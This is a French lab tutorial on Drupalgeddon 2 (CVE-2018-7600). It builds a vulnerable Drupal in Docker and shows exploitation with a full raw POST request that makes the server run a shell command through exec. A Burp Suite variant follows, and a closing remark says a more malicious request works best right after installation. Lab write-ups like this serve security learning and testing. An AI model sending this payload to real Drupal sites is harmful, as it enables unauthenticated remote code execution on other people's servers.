
Preuve de concept pour CVE-2018-7600 (Drupalgeddon 2) avec mise en place pas à pas d'un environnement de laboratoire et présentation de l'exploitation à l'aide de Docker et de Burp Suite.
(CVE-2018-7600)**
Les versions de Drupal antérieures à 7.58, les versions 8.x antérieures à 8.3.9, les versions 8.4.x antérieures à 8.4.6 et les versions 8.5.x antérieures à 8.5.1 permettent à un attaquant distant d'exécuter du code arbitraire en raison d'un problème affectant plusieurs sous-systèmes qui utilisent la configuration des modules par défaut ou communs, y compris l'API Form.
Références :

Tout d'abord, comme à l'écran suivant, on fork le contenu du vulhub correspondant.

Ensuite, téléchargez le dossier en ZIP et récupérez-le.

Décompressez les contenus liés à Drupal (CVE-2018-7600) et téléversez-les dans mon dépôt.

À présent, utilisons ce dépôt pour monter l'environnement dans Docker.

Comme ci-dessous, récupérez mon dépôt avec la commande git clone, puis déplacez-vous via la commande cd dans le dossier contenant le fichier docker-compose.yml.
Exécutez ensuite Docker en arrière-plan grâce à la commande suivante :
docker-compose up -d
On peut constater que l'exécution se fait comme suit.

Rendez-vous à l'adresse http://localhost:8080 pour ouvrir la page d'accueil de Drupal.

L'écran de configuration de l'environnement Drupal apparaît, puis la page d'accueil de Drupal s'affiche.
Pour tenter l'exploit, configurons simplement comme suit.

Le chargement s'effectue alors comme suit.

Ensuite, saisissez des paramètres de site supplémentaires (définis sur « test » pour une configuration rapide de l'exploit).



Voici le site Drupal une fois la configuration terminée.

En référence à a2u/CVE-2018-7600, on peut envoyer la requête suivante à Drupal.
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
Puisque CVE-2018-7600 (Drupalgeddon2) est une vulnérabilité permettant une attaque non authentifiée qui manipule les champs du formulaire via AJAX par l'intermédiaire de /user/register, on peut également modifier le paquet à l'aide de Burp Suite.
Tout d'abord, via le proxy de Burp Suite, accédez à l'inscription, saisissez une valeur quelconque puis capturez le paquet.

Utilisez Burp Suite pour modifier ce paquet.

Envoyez ce paquet au Repeater et ajoutez le code suivant tout en bas :
element_parents = timezone/timezone/#value
ajax_form = 1
_wrapper_format = drupal_ajax
timezone[timezone] = id
Cliquez ensuite sur Send et vous verrez la commande OK s'afficher comme suit.

En réalité, pour une requête plus malveillante, il est plus fiable d'envoyer l'attaque CVE-2018-7600 (Drupalgeddon2) immédiatement après l'installation de Drupal (avant la fin de l'assistant d'installation).